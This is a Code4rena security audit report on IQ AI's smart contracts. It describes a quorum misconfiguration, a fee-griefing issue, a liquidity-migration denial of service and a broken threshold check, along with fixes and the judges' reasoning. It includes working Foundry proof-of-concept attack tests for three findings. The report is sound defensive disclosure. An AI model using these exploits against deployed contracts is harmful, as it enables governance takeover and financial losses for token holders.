IQ AI
Findings & Analysis Report
2025-03-19
Table of contents
- Summary
- Scope
- Severity Criteria
-
Low Risk and Non-Critical Issues
- L-01
Agent.setTokenURI()
Function is Missing a Check ThattokenId
Exists - L-02 The
BootstrapPool
’s Buy and Sell Functions Lack Slippage Protection - L-03
AgentRouter
Will Not Function Correctly If The DefaultcurrentToken
Value is Changed inAgentFactory
- L-04 Incorrect threshold percentage validation could brick future threshold percentage updates
- L-05 Owner can brick moving liquidity leading to failed bootstraping phases
- N-01 CEI Pattern Not Followed in
_sweepFees
Function - N-02 Consider removing redundant self transfer
- N-03 Consider replicating invariant from sell() function to buy() function
- L-01
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the IQ AI smart contract system. The audit took place from January 29 to February 07, 2025.
This audit was judged by 0xnev.
Final report assembled by Code4rena.
Following the C4 audit, 2 wardens (defsec and Chinmay) reviewed the mitigations for sponsor addressed issues; the mitigation review report is appended below the audit report.
Summary
The C4 analysis yielded an aggregated total of 4 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 3 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 18 reports detailing issues with a risk rating of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 IQ AI repository, and is composed of 7 smart contracts written in the Solidity programming language and includes 778 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (1)
[H-01] Adversary can win proposals with voting power as low as 4%
Submitted by juancito, also found by Atharv, Banditx0x, den-sosnowsky, dobrevaleri, DoD4uFN, FalseGenius, Greed, hakunamatata, komronkh, KupiaSec, LonelyWolfDemon, potatoad-sec, Samueltroydomi, shui, th3_hybrid, Topmark, wellbyt3, willycode20, Xcrypt, and zaevlad
https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/TokenGovernor.sol#L55
The expected quorum for proposals is 25% of the voting power.
An attacker can execute any proposal with as low as 4% of the voting power.
Proposals that don’t get enough quorum are expected to fail because of that threshold, but the bug bypasses that protection by a 6.25x lower margin. Deeming High severity as a form of executing malicious proposals against expectations.
Proof of Concept
The error is in the 4
in the line GovernorVotesQuorumFraction(4)
. It doesn’t represent 1/4th of supply but 4/100 actually.
constructor(
string memory _name,
IVotes _token,
Agent _agent
)
Governor(_name)
GovernorVotes(_token)
@> GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
{
agent = _agent;
}
Ref: https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/TokenGovernor.sol#L55
This can be seen in the GovernorVotesQuorumFraction
OpenZeppelin contract that is inherited.
Note how the quorumDenominator()
is 100
by default and how the quorum()
is calculated as supply * numerator / denominator
.
In other words, 4% for the protocol governor (instead of 25%).
/**
* @dev Returns the quorum denominator. Defaults to 100, but may be overridden.
*/
function quorumDenominator() public view virtual returns (uint256) {
return 100;
}
/**
* @dev Returns the quorum for a timepoint, in terms of number of votes: `supply * numerator / denominator`.
*/
function quorum(uint256 timepoint) public view virtual override returns (uint256) {
return (token().getPastTotalSupply(timepoint) * quorumNumerator(timepoint)) / quorumDenominator();
}
Coded Proof of Concept
Here is a coded POC to show that those values are not overriden, and the flawed logic holds as described in the previous section.
- Add the test to
test/TokenGovernorTest.sol
forge test -vv --mt test_AttackLowQuorumThreshold
function test_AttackLowQuorumThreshold() public {
// Setup agent
factory.setAgentStage(address(agent), 1);
// Setup an attacker with 4% of voting power
// Transfer from the whale that has 37% of tokens
vm.startPrank(whale);
address attacker = makeAddr("attacker");
uint256 fourPercentSupply = token.totalSupply() * 4 / 100;
token.transfer(attacker, fourPercentSupply);
// Delegate attacker tokens to themselves
vm.startPrank(attacker);
token.delegate(attacker);
// Make a malicious proposal with 4% of votes (0.01% needed)
vm.warp(block.timestamp + 1);
address[] memory targets = new address[](1);
targets[0] = address(666);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
string memory description = "";
uint256 nonce = governor.propose(targets, values, calldatas, description);
// Cast vote with 4% voting power
vm.warp(block.timestamp + governor.votingDelay() + 1);
governor.castVote(nonce, 1);
// Warp to the end of the voting period
// It can be assessed that with a total votes of 100 Million, the quorum is only 4 Million
// The voting power of the attacker can be as low as 4 Million (4%)
vm.warp(block.timestamp + governor.votingPeriod());
console.log();
console.log("totalVotes: ", token.getPastTotalSupply(block.timestamp - 1));
console.log("quorum: ", governor.quorum(block.timestamp - 1));
console.log("votingPower: ", governor.getVotes(attacker, block.timestamp - 1));
// The proposal succeeds with only 4% of voting power (lower than the expected 25% quorum)
governor.execute(targets, values, calldatas, keccak256(abi.encodePacked(description)));
console.log("ATTACK SUCCEEDED WITH ONLY 4% OF VOTES");
vm.stopPrank();
}
The test shows how an adversary with only 4% of the voting power can successfully execute a malicious proposal.
Logs:
totalVotes: 100000000000000000000000000
quorum: 4000000000000000000000000
votingPower: 4000000000000000000000000
ATTACK SUCCEEDED WITH ONLY 4% OF VOTES
Recommended mitigation steps
Set the 25% quorum correctly:
constructor(
string memory _name,
IVotes _token,
Agent _agent
)
Governor(_name)
GovernorVotes(_token)
- GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
+ GovernorVotesQuorumFraction(25) // quorum is 25% (1/4th) of supply
{
agent = _agent;
}
tom2o17 (IQ AI) disputed and commented:
So I think there are two outcomes:
- The comment is stale in which case this is informational
- The comment takes precedent over the code, not sure why this would be the case, and I would agree w/ the initial evaluation.
wrt “there are no documentation indicating this is a documentation error”, I would argue the code itself suggests its a documentation error.
I would also be curious as to where is there documentation indicating this is a code error, outside of the stale comment.
Personally would lean towards downgrading, but that is because I view all documentation as subservient to the contract functionality not the other way around. Otherwise all documentation errors would be highs.
On secondary reviews and discussions, I believe this issue to be of a genuine documentation error and is of informational severity because 4% is likely appropriate based on various blue-chip defi protocol examples:
As such, I am downgrading to QA, defaulting to invalid per judging risk assessments.
I agree with 0xnev’s earlier comments that insist 4% is too low.
Additionally, if there is no exact documentation regarding this quorum, the comment should be considered the source of truth. I have seen many instances where issues that show inconsistency between code implementation and comments are considered high/medium severity.
I believe this can be considered H/M.
Could you please provide concrete evidence that 4% quorums are not sufficient? I have provided explicit blue-chip DeFi examples above, if you have an example of a governance attack because of such a quorum being low, I will reconsider the issue.
If not, I am inclined to maintain as informational, because afaik, C4 has never graded an issue more than QA for differing specs unless the outcome is significant.
I think comparing suitable governance quorum percentages for Agent tokens launched through this protocol to blue chip defi tokens is not ideal comparison as we have to consider the following:
Differences in overall market cap of the tokens Acquiring 4% of Uni/Compound tokens would require a significant amount of capital. Tokens here will be launched on Fraxtal, a chain with significantly less TVL so it’s safe to assume the market cap of agents will likely be many multiples smaller than any defi blue chip token.
Likely initial token distributions An early buyer during bootstrap phase could quite easily own 4% of the total supply and potentially purchase across multiple wallets to to conceal this from other investors.
I think a more apt comparison would be to look at the token distributions of similar AI agent tokens (such as those launched on the Virtuals platform, where you will find typically multiple holders who each own at least 4% of the total supply.
While the 4 vs 25% may have been a documentation error (and 25% may actually be too high), 4% does indeed seem too low.
Thank you, I believe this is a fair argument. Based on likely volatility of AI token prices, I believe it is a significant risk to fix the quorum at 4%, especially for low price tokens, and considering all tokens are fixed to 100 million supply as well.
Based on clarifications in S-188, I believe the main risk now would be the ownership and mismanagement (The TokenGovernor voting values impact this only) over the Agent contract itself holding the LP tokens. If price of tokens increase significantly this could have a significant impact.
Still considering between H/M, and happy to take any further comments supporting both severities.
Will maintain as High severity, considering the risk of price significantly increasing for tokens and the potential ownership and mismanagement (The TokenGovernor voting values impact this only) over the Agent contract itself holding the LP tokens.
Medium Risk Findings (2)
[M-01] Anyone can deploy a new FraxSwapPair
with a Low fee incurring losses to the protocol
Submitted by CodexBugmenot, also found by 056Security, 0xvd, A0z9, DoD4uFN, EPSec, eternal1328, Greed, newspacexyz, potatoad-sec, vladi319, and Zkillua
When LiquidityManager::moveLiquidity
function is called then either a new FraxSwapPair
is created with a fee of 1%
or if a pair already exists then the liquidity is transferred to that FraxSwapPair
but the issue is that any user can deploy this FraxSwapPair
with fee as low as 0.01%
which can only be changed back by the owner of the FraxSwapFactory
and if left unchecked will result in loss of fee for the protocol.
Proof of Concept
- Malicious user creates a
FraxSwapPair
with fee as low as0.01%
beforemoveLiquidity
is called - Now every swap before the
fee
is changed back to1%
will result in loss of fee for the protocol
Paste the following POC in MoveLiquidityTest.sol
:
Change the Fee in FraxSwapPair
deployment from 1
to 100
to change fee
from 0.01%
to 1%
:
function test_low_fee() public {
setUpFraxtal(12_918_968);
address whale = 0x00160baF84b3D2014837cc12e838ea399f8b8478;
uint256 targetCCYLiquidity = 6_100_000e18;
factory = new AgentFactory(currencyToken, 0);
factory.setAgentBytecode(type(Agent).creationCode);
factory.setGovenerBytecode(type(TokenGovernor).creationCode);
factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);
//factory.setTargetCCYLiquidity(1000e18);
factory.setInitialPrice(0.1e18);
vm.startPrank(whale);
currencyToken.approve(address(factory), 1e18);
agent = factory.createAgent("AIAgent", "AIA", "https://example.com", 0);
token = agent.token();
// Buy from the bootstrap pool
manager = LiquidityManager(factory.agentManager(address(agent)));
bootstrapPool = manager.bootstrapPool();
currencyToken.approve(address(bootstrapPool), 10_000_000e18);
bootstrapPool.buy(6_000_000e18);
vm.stopPrank();
// the above code is setup()
// griefer buys from `BootstrapPool` to get minimum liquidity required to create a pool
address _griefer = makeAddr("griefer");
deal(address(currencyToken), _griefer, 1000 ether);
vm.deal(_griefer, 10 ether);
vm.startPrank(_griefer);
currencyToken.approve(address(bootstrapPool), 10 ether);
uint256 tknamt = bootstrapPool.buy(5 ether);
//griefer creates `FraxSwapPair`
IFraxswapPair fraxswapPair =
IFraxswapPair(manager.fraxswapFactory().createPair(address(currencyToken), address(token), 1)); // Fee set here
currencyToken.transfer(address(fraxswapPair), 5 ether);
token.transfer(address(fraxswapPair), tknamt);
fraxswapPair.mint(address(_griefer));
// Move liquidity
manager.moveLiquidity();
// Swap from the Fraxswap pool
//token(0) is AI token
//token(1) is currency token
// griefer swaps 1 ether worth of his currency token for AI token
fraxswapPair = IFraxswapPair(manager.fraxswapFactory().getPair(address(currencyToken), address(token)));
uint256 amountOut = fraxswapPair.getAmountOut(1e18, address(currencyToken));
currencyToken.transfer(address(fraxswapPair), 1e18);
if (fraxswapPair.token0() == address(currencyToken)) {
fraxswapPair.swap(0, amountOut, address(_griefer), "");
} else {
fraxswapPair.swap(amountOut, 0, address(_griefer), "");
}
vm.stopPrank();
}
From the Above test :
- when fee is
0.01%
Currency token
amountIn ---->1e18
we getAi token
amountOut ---->3.935e18
- when fee is
1%
Currency token
amountIn ---->1e18
we getAi token
amountOut ---->3.896e18
- so for a swap of
1 ether
worth ofcurrency token
the protocol loses0.039 ether
worth ofAI tokens
in fee
Now for much higher transactions, including the 3 swaps
done during the moveLiquidity
, all that fee is lost to the protocol.
Recommended mitigation steps
This issue exists for every new Agent
created in AgentFactory
and it is not feasible for the owner
to check fee
amount on every pair so, consider creating a new FraxSwapPair
with the desired fee in AgentFactory::createAgent
itself to avoid these fee discrepancies.
Consider any design change which will prevent arbitrary users to set fee
.
The protocol does not earn the fees from Fraxswap swaps. These are shared between the LP (the agent) and Fraxswap. The Fraxswap owner can unilaterally update the fee to the desired value.
I believe this is a valid concern. The TokenGovernor is the intended owner of the Agent contract which will hold the LP funds. From the context of the codebase, the
tradingFee
should be respected in theAgentFactory
contract set by the admin, so that the fees received by the TokenGovernor is accurate (up to 1%).
- If set lower than expected by an external user —> Agent earns less fees
- If set higher than expected by an external user —> Slightly affects pricing in subsequent fraxpool when computing output amounts when fee is accounted for
While it is true that the Frax privileged fee-to-setter multisig can adjust the fees for specific pairs, since it can result in accumulated fee loss based on duration before this fees is reset, I believe Medium severity is appropriate.
[M-02] Attacker can DOS liquidity migration in LiquidityManager.sol
Submitted by 0xAsen, also found by attentioniayn, DanielArmstrong, jkk812812, kutugu, Rampage, t0x1c, tallo, Walodja1987, and zraxx
https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L116-L117
https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L141
The LiquidityManager’s liquidity migration function, moveLiquidity()
is susceptible to a DOS attack that any malicious attacker can perform.
The reason for this is that moveLiquidity()
relies on the raw ERC20 balance of the currency token held by the contract to determine the amount of agent token liquidity to add. In particular, the function calculates the currency token balance via:
uint256 currencyAmount = currencyToken.balanceOf(address(this));
uint256 liquidityAmount = (currencyAmount * 1e18) / price;
This design assumes that the only currency tokens held by the LiquidityManager are those coming from the controlled bootstrap pool. However, an attacker can directly transfer extra currency tokens (e.g., IQ tokens) into the LiquidityManager.
This “injection” increases the raw balance reported by balanceOf(address(this))
, causing the computed liquidityAmount
— which represents the amount of agent tokens required for migration to be artificially inflated.
When the LiquidityManager then attempts to transfer agent tokens to add liquidity (via a subsequent call to addLiquidityToFraxswap()
), the computed amount exceeds the actual agent token balance held by the contract. This results in a failure (an ERC20InsufficientBalance
revert) during the migration process, effectively causing a denial-of-service (DoS) that blocks liquidity migration and disrupts normal protocol operations.
Impact:
- Protocol Disruption: The migration process is a core functionality for moving liquidity from the bootstrap pool to the Fraxswap pair.
- User Harm: Disrupted liquidity migration can result in poor market pricing or loss of confidence, potentially causing users to incur losses when trading or exiting positions.
- Denial-of-Service (DoS): An attacker can exploit this vulnerability to prevent liquidity migration, indirectly impacting the protocol’s ability to function as intended.
Impact: High
Likelihood: Medium as it requires an attacker to spend funds. How well-funded he must be depends on the exact amount of tokens that will be used in a real environment and how willing he is to cause damage to the protocol and its users (a competitor or someone else with malicious intent).
Proof of Concept
Let’s look at the relevant parts of the source code. A coded POC is supplied after.
LiquidityManager.sol, moveLiquidity()
:
// Determine liquidity amount to add
uint256 currencyAmount = currencyToken.balanceOf(address(this));
uint256 liquidityAmount = (currencyAmount * 1e18) / price;
// Add liquidity to Fraxswap
IFraxswapPair fraxswapPair = addLiquidityToFraxswap(liquidityAmount, currencyAmount);
We can see that the function relies on the raw currency tokens balance of the contract and uses that to calculate liquidityAmount
- the amount of agent tokens to add as liquidity to Fraxswap.
addLiquidityToFraxswap()
:
function addLiquidityToFraxswap(
uint256 liquidityAmount,
uint256 currencyAmount
) internal returns (IFraxswapPair fraxswapPair) {
fraxswapPair = IFraxswapPair(fraxswapFactory.getPair(address(currencyToken), address(agentToken)));
if (fraxswapPair == IFraxswapPair(address(0))) {
// Create Fraxswap pair and add liquidity
fraxswapPair = IFraxswapPair(fraxswapFactory.createPair(address(currencyToken), address(agentToken), fee));
agentToken.safeTransfer(address(fraxswapPair), liquidityAmount); <--
currencyToken.safeTransfer(address(fraxswapPair), currencyAmount);
fraxswapPair.mint(address(this));
Now, if the liquidityAmount
has been inflated by performing the attack, this line will fail if the contract doesn’t have enough balance:
agentToken.safeTransfer(address(fraxswapPair), liquidityAmount);
To demonstrate this vulnerability, here’s a coded POC that you can add to MoveLiquidityTest.sol
.
Run it via forge test --match-test test_MoveLiquidity_TokenInjection -vvv
.
function test_MoveLiquidity_TokenInjection() public {
// Set up the fork and environment.
setUpFraxtal(12_918_968);
// agent deployer
address dev = address(0x1234);
// attacker
address attacker = 0x00160baF84b3D2014837cc12e838ea399f8b8478;
// deal to dev a lot of currency tokens to operate
deal(address(currencyToken), dev, 30_000_000e18);
// Set target liquidity parameters in the factory.
uint256 targetCCYLiquidity = 6_100_000e18;
// Deploy a new AgentFactory. (Assume currencyToken is already set up.)
factory = new AgentFactory(currencyToken, 0);
factory.setAgentBytecode(type(Agent).creationCode);
factory.setGovenerBytecode(type(TokenGovernor).creationCode);
factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);
// For testing migration quickly, set a low target liquidity.
factory.setTargetCCYLiquidity(1000);
// Set an initial price, e.g. 0.1 IQ per agent token.
factory.setInitialPrice(0.1e18);
// --- Deploy agent and all relevant contract ---
// Simulate normal user activity to push the pool toward the target.
vm.startPrank(dev);
// Approve and create the agent
currencyToken.approve(address(factory), type(uint256).max);
// dev directly buys enough so that the target liquidity is satisfied
agent = factory.createAgent("ExploitAgent", "EXP", "https://exploit.com", targetCCYLiquidity);
token = agent.token();
// Retrieve the LiquidityManager and the BootstrapPool.
manager = LiquidityManager(factory.agentManager(address(agent)));
bootstrapPool = manager.bootstrapPool();
// ensure bootstrap pool is initialized
require(address(bootstrapPool) != address(0), "BootstrapPool not initialized");
vm.stopPrank();
// --- Attacker Manipulates the LiquidityManager by Injecting Currency Tokens ---
// Here the attacker directly transfers extra currency tokens into the LiquidityManager.
// deal currency tokens to the attacker
deal(address(currencyToken), attacker, 10_000_000e18);
// Impersonate the attacker.
vm.startPrank(attacker);
uint256 extraIQTokens = currencyToken.balanceOf(attacker); // Amount chosen for demonstration.
// transfer the currency tokens to the manager contract
currencyToken.transfer(address(manager), extraIQTokens);
// --- Migrate Liquidity ---
// The LiquidityManager will now check that the effective IQ reserve (after subtracting phantom)
// meets the target, and then call moveLiquidity() to migrate liquidity from the BootstrapPool.
manager.moveLiquidity();
// After migration, retrieve the Fraxswap pair created by the LiquidityManager.
IFraxswapPair fraxswapPair = IFraxswapPair(
manager.fraxswapFactory().getPair(address(currencyToken), address(token))
);
(uint112 fraxIQ, uint112 fraxAgent, ) = fraxswapPair.getReserves();
console2.log("Fraxswap Pool IQ Reserve:", fraxIQ);
console2.log("Fraxswap Pool Agent Token Reserve:", fraxAgent);
// Compute the final price in Fraxswap.
uint256 finalPrice = (uint256(fraxIQ) * 1e18) / uint256(fraxAgent);
console2.log("Final Price in Fraxswap (IQ per agent token):", finalPrice);
vm.stopPrank();
}
With that implementation, the test fails because the manager contract doesn’t have enough agent token balance:
[FAIL. Reason: ERC20InsufficientBalance(0x20518cf72FF021e972F704d5B56Ab73FC163713d, 62348026684955421160920257 [6.234e25], 62348026684955421403284271 [6.234e25])] test_MoveLiquidity_TokenInjection() (gas: 48955838)
To verify that this test works otherwise, change this line:
deal(address(currencyToken), attacker, 10_000_000e18);
to
deal(address(currencyToken), attacker, 9_000_000e18);
by decreasing the amount of currency tokens the attacker adds, the test and the migration will be successful.
Summary:
In our testing environment, when the attacker transfers 9,000,000 IQ tokens to the LiquidityManager, the migration process succeeds (albeit with an artificially manipulated price). However, when the attacker increases the injection to 10,000,000 IQ tokens, the computed liquidity amount exceeds the actual agent token balance held by the LiquidityManager. This results in an ERC20InsufficientBalance
error during the liquidity migration step, effectively causing the process to revert.
(Note: The detailed logs and the failing transaction trace confirm that the agent token transfer reverts because the required amount is slightly higher than available.)
Recommended mitigation steps
Calculate the liquidity amount based on the currency amount that was received by the bootstrap pool. Proposed fix:
uint256 currencyAmount = _reserveCurrencyToken;
That way the attack wouldn’t work, and there’s also no risk of tokens getting left in the manager contract as you transfer them to the agent either way:
agentToken.safeTransfer(address(agent), agentToken.balanceOf(address(this)));
currencyToken.safeTransfer(address(agent), currencyToken.balanceOf(address(this)));
Nice find, it is pretty expensive though and can be remedied by depositing some agent tokens into the Liquidity manager. I would consider this an unlikely attack, so Medium level.
Also want to acknowledge will fix.
However, given the user would be out ~ 40k + in order to DDOS I would downgrade to Medium.
0xnev (judge) decreased severity to Medium and commented:
Agree with downgrade to Medium because:
- All donated funds are lost to the BootStrapPool, and since this is accounted for in the computation for prices, it can be retrieved back from sale of agentTokens.
- This DoS is difficult to sustain constantly and profitably, since Fraxtal is a OP stack chain which has no private mem-pool, This could risk aimless donation of tokens if
currencyAmount
andliquidityAmount
values changes before pool migration.
tom2o17 (IQ AI) mitigated:
Status: Mitigation confirmed.
[M-03] Ineffective proposal threshold validation allows setting arbitrary high values
Submitted by Incogknito, also found by 0x23r0, 0xAadi, 0xaudron, 0xmujahid002, 0xvd, anchabadze, Arjuna, aster, BALADOU, bareli, Bizarro, Brene, dreamcoder, eLSeR17, eta, eternal1328, Eurovickk, felconsec, gxh191, hrmneffdii, IceBear, Ishenxx, Lamsy, Manga, muellerberndt, noname_09, Petrus, phaseTwo, Shinobi, sohrabhind, Sparrow, Tamer, Topmark, unnamed, willycode20, and xKeywordx
The setProposalThresholdPercentage
function in TokenGovernor checks the wrong variable when trying to enforce the maximum 10% threshold limit. Instead of validating the new incoming value, it checks the current stored value, making the protection completely ineffective.
This means anyone can propose and pass a governance proposal that sets the threshold to any value (even 100% or higher), which could effectively break the governance system by making it impossible for token holders to create new proposals.
The impact is severe because:
- It could lock out all governance participation if set too high
- It breaks the intended maximum 10% threshold protection
- It could require another governance proposal to fix, which might be impossible if the threshold is set too high
Proof of Concept
function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
if (msg.sender != address(this)) revert NotGovernor();
if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
proposalThresholdPercentage = _proposalThresholdPercentage;
emit ProposalThresholdSet(_proposalThresholdPercentage);
}
Attack scenario:
- Attacker creates a governance proposal to set
proposalThresholdPercentage
to 9000 (90%) - The check
if (proposalThresholdPercentage > 1000)
looks at the current value (let’s say 100), not 9000 - The check passes because 100 < 1000
- The threshold is set to 9000, requiring 90% of total supply to create proposals
- The governance system becomes effectively frozen as gathering 90% support for new proposals is practically impossible
Recommended Mitigation Steps
Change the validation to check the new input value instead of the current value:
function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
if (msg.sender != address(this)) revert NotGovernor();
- if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
+ if (_proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
proposalThresholdPercentage = _proposalThresholdPercentage;
emit ProposalThresholdSet(_proposalThresholdPercentage);
}
Borderline medium/low, the intended check is indeed incorrect, however, it would require a malicious voted proposal. Since function is affected, I would agree with Medium per C4 guidelines.
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
tom2o17 (IQ AI) confirmed and commented:
Agree With finding. Will fix.
Will confirm as Medium, because there is a risk of a whale coming in with sufficient quorum (now currently at 4%) to propose a proposal and executing it, which would thereafter possibly allow mismanaging of funds owned by the Agent and TokenGovernor contracts.
tom2o17 (IQ AI) mitigated:
Status: Mitigation confirmed.
Low Risk and Non-Critical Issues
For this audit, 18 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by potatoad-sec received the top score from the judge.
The following wardens also submitted reports: 0xAkira, Alekso, dobrevaleri, DoD4uFN, ghost_1911_soap, Greed, HardlyDifficult, inh3l, Ishenxx, K42, KKaminsk, LouisTsai, newspacexyz, phaseTwo, phoenixV110, Sparrow, and Walodja1987.
ID | Issue |
---|---|
[L‑01] | Agent.setTokenURI() Function is Missing a Check That tokenId Exists |
[L‑02] | The BootstrapPool ’s Buy and Sell Functions Lack Slippage Protection |
[L‑03] | AgentRouter Will Not Function Correctly If The Default currentToken Value is Changed in AgentFactory |
[L‑04] | Incorrect threshold percentage validation could brick future threshold percentage updates |
[L‑05] | Owner can brick moving liquidity leading to failed bootstraping phases |
[N‑01] | CEI Pattern Not Followed in _sweepFees Function |
[N‑02] | Consider removing redundant self transfer |
[N‑03] | Consider replicating invariant from sell() function to buy() function |
[L-01] Agent.setTokenURI()
Function is Missing a Check That tokenId
Exists
The setTokenURI()
function will successfully set a new _tokenURI
for a given tokenId
even if the tokenId
in question does not exist.
function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner onlyWhenAlive {
_setTokenURI(tokenId, _tokenURI);
emit TokenURISet(tokenId, _tokenURI);
}
[L-02] The BootstrapPool
’s Buy and Sell Functions Lack Slippage Protection
There is no slippage protection on any of the buy
or sell
functions within the BootstrapPool
contract. While it is likely that users will be expected to interact with the bootstrap pool via the AgentRouter
contract, nothing within the code project’s external or inline documentation points this out to users. The project should consider adding clearer documentation to warn users of the risks of interacting directly with the BootstrapPool
contract.
[L-03] AgentRouter
Will Not Function Correctly If The Default currentToken
Value is Changed in AgentFactory
The AgentRouter
contract sets its currencyToken
state variable only once in the constructor by reading from the AgentFactory
:
constructor(AgentFactory _factory) {
factory = _factory;
currencyToken = _factory.currencyToken();
}
However, the AgentFactory
allows the owner to update the currencyToken through the setCurrencyToken()
function. If the factory’s currencyToken
is changed, the AgentRouter
will still reference the old token address, causing its core swap functionality to break.
Solution:
Consider either having the AgentRouter
query the AgentFactory
directly to work out which currencyToken
to use, or alternatively remove the setCurrencyToken()
factory and instead deploy a new factory/router pair in the event that the currency token needs to be changed.
[L-04] Incorrect threshold percentage validation could brick future threshold percentage updates
Function setProposalThresholdPercentage()
should be using the parameter instead of the state variable in the second if condition. Due to this, if there is a proposal that passes quorum, it would be able to:
- Set the value greater than 1000 (10%)
- If value is set greater than 10%, future calls to
setProposalThresholdPercentage()
will permanently revert.
function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
if (msg.sender != address(this)) revert NotGovernor();
if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
proposalThresholdPercentage = _proposalThresholdPercentage;
emit ProposalThresholdSet(_proposalThresholdPercentage);
}
[L-05] Owner can brick moving liquidity leading to failed bootstraping phases
This issue is more of a governance risk. If the owner increments stage to a non-zero value before the liquidity is moved for an agent, moving liquidity would become impossible and would always revert when moveLiquidity()
is called. This is because the moveLiquidity()
function calls setAgentStage()
, which calls setStage()
on the agent contract. Due to the check in setStage()
, the call would revert.
function setAgentStage(address _agent, uint256 _stage) external {
if (msg.sender == owner() || (msg.sender == agentManager[_agent] && _stage == 1)) {
Agent(payable(_agent)).setStage(_stage);
}
}
[N-01] CEI Pattern Not Followed in _sweepFees
Function
While the functions that are able to call the _sweepFees
function have nonReentrant
modifiers, it is recommended best practice to follow the checks, effects, interactions pattern to avoid scenarios where new code that does not have a nonReentrant
modifier is given access to the function.
[N-02] Consider removing redundant self transfer
The code snippet below can be removed from function createAgent()
as it is self transferring the tokens.
if (mintToDAOAmount > 0) token.safeTransfer(address(this), mintToDAOAmount);
[N-03] Consider replicating invariant from sell() function to buy() function
Function sell()
includes the below invariant to ensure currency fees remain in the contract. This check should also be replicated in function buy()
to ensure the invariant holds in both cases.
require(currencyToken.balanceOf(address(this)) >= currencyTokenFeeEarned, "INSUFFICIENT_LIQUIDITY");
Mitigation Review
Introduction
Following the C4 audit, 2 wardens (defsec and Chinmay) reviewed the mitigations for sponsor addressed issues.
Mitigation Review Scope
Mitigation of | Mitigation URL | Status |
---|---|---|
F-1 | https://github.com/IQAIcom/iq-agents-contracts/pull/9 | Mitigation Confirmed |
F-4 | https://github.com/IQAIcom/iq-agents-contracts/pull/7 | Mitigation Confirmed |
F-6 | https://github.com/IQAIcom/iq-agents-contracts/pull/7 | Mitigation Confirmed |
M-02 | https://github.com/IQAIcom/iq-agents-contracts/pull/8 | Mitigation Confirmed |
M-03 | https://github.com/IQAIcom/iq-agents-contracts/pull/11 | Mitigation Confirmed |
F-78 | https://github.com/IQAIcom/iq-agents-contracts/pull/12 | Mitigation Confirmed |
F-115 | https://github.com/IQAIcom/iq-agents-contracts/pull/10 | Mitigation Confirmed |
F-139 | https://github.com/IQAIcom/iq-agents-contracts/pull/16 | Mitigation Confirmed |
Mitigation Review Summary
During the mitigation review, the wardens confirmed that all in-scope findings were mitigated.
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.